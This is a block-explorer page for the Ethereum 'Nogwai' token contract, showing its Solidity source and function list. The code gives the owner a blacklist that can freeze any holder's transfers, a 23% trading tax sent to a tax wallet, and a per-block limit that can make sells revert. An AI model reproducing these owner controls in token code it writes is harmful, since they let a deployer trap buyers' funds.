Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0xC25c4B4aF6a62C697db95ef47ed281971DDA7eE2
Balance 0 ETH
Nonce 1
Code Size 7928 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

7928 bytes
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Verified Source Code Partial Match

Compiler: v0.8.23+commit.f704f362 EVM: shanghai Optimization: Yes (200 runs)
NOGWAI.sol 376 lines
// SPDX-License-Identifier: MIT

/*
Website: https://nogwaieth.fun/

Twitter: https://x.com/nogwaierc20

Telegram: https://t.me/Nogwaierc20
*/

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract NOGWAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) public marketPair;
    mapping (address => bool) public _isBlacklisted;

    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax=23;
    uint256 private _initialSellTax=23;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;

    uint256 private _reduceBuyTaxAt=23;
    uint256 private _reduceSellTaxAt=23;
    uint256 private _preventSwapBefore=25;
    uint256 private _buyCount=0;
    uint256 private _sellCount = 0;
    uint256 private _lastSellBlock = 0;

    string private constant _name = unicode"Nogwai";
    string private constant _symbol = unicode"NOGWAI";
    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    uint8 private constant _decimals = 9;

    uint256 public maxTxAmount = 2 * (_tTotal/100);
    uint256 public maxWalletSize = 2 * (_tTotal/100);
    uint256 public taxSwapThreshold= 1 * (_tTotal/1000);
    uint256 public maxTaxSwap= 1 * (_tTotal/100);

    address public uniswapV2Pair;
    IUniswapV2Router02 private uniswapV2Router;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    uint256 public caCount = 1;
    bool public caLimiter = true;

    event TradingEnabled(bool _tradingOpen,bool _swapEnabled);
    event MaxTxAmountUpdated(uint _maxTxAmount);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address taxWallet) {
        _taxWallet = payable(taxWallet);
        _balances[_msgSender()] = _tTotal;

        caCount = 3;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[address(uniswapV2Pair)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function removeFromBlackList(address account) external onlyOwner {
        _isBlacklisted[account] = false;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require (!_isBlacklisted[from] && !_isBlacklisted[to], "ERC20: To/from address is blacklisted");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount=0;

        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (marketPair[from] && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) {
                require(amount <= maxTxAmount, "Exceeds the maxTxAmount.");
                require(balanceOf(to) + amount <= maxWalletSize, "Exceeds the maxWalletSize.");

                if (firstBlock + 3  > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (!marketPair[to] && !_isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if (marketPair[to] && from!= address(this) ){
                taxAmount = amount.mul((_buyCount> _reduceSellTaxAt)? _finalSellTax: _initialSellTax).div(100);
            }

	        if (!marketPair[from] && !marketPair[to] && from!= address(this) ) {
                taxAmount = 0;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (caLimiter && !inSwap && marketPair[to] && swapEnabled && contractTokenBalance>taxSwapThreshold && _buyCount>_preventSwapBefore) {
                if (block.number > _lastSellBlock) {
                    _sellCount = 0;
                }
                require(_sellCount < caCount, "CA balance sell");
                swapTokensForEth(min(amount,min(contractTokenBalance,maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
                _sellCount++;
                _lastSellBlock = block.number;
            }

            else if(!inSwap && marketPair[to] && swapEnabled && contractTokenBalance>taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function removeFromBlackListwallets(address[] calldata addresses) public onlyOwner(){
        for (uint256 i; i < addresses.length; ++i) {
            _isBlacklisted[addresses[i]] = false;
        }
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }


    function addToBlackList(address[] calldata addresses) external onlyOwner {
        for (uint256 i; i < addresses.length; ++i) {
        _isBlacklisted[addresses[i]] = true;
        }
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        marketPair[address(uniswapV2Pair)] = true;
        _isExcludedFromFee[address(uniswapV2Pair)] = true;
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
        emit TradingEnabled(tradingOpen,swapEnabled);
    }

    function removeTxLimit() external onlyOwner {
        maxTxAmount = _tTotal;
        maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    receive() external payable {}

    function releaseStuckEth() external onlyOwner {
        payable(_taxWallet).transfer(address(this).balance);
    }
}

Read Contract

_isBlacklisted 0x1cdd3be3 → bool
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
caCount 0x0e12062d → uint256
caLimiter 0xf4ef1f42 → bool
decimals 0x313ce567 → uint8
marketPair 0xf5b3c3bf → bool
maxTaxSwap 0x62997f8c → uint256
maxTxAmount 0x8c0b5e22 → uint256
maxWalletSize 0x8f3fa860 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
taxSwapThreshold 0x5e7b655c → uint256
totalSupply 0x18160ddd → uint256
uniswapV2Pair 0x49bd5a5e → address

Write Contract 11 functions

These functions modify contract state and require a wallet transaction to execute.

addToBlackList 0xff897570
address[] addresses
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
releaseStuckEth 0xeb07fd55
No parameters
removeFromBlackList 0x4a49ac4c
address account
removeFromBlackListwallets 0xb5ef226a
address[] addresses
removeTxLimit 0x4619d69f
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

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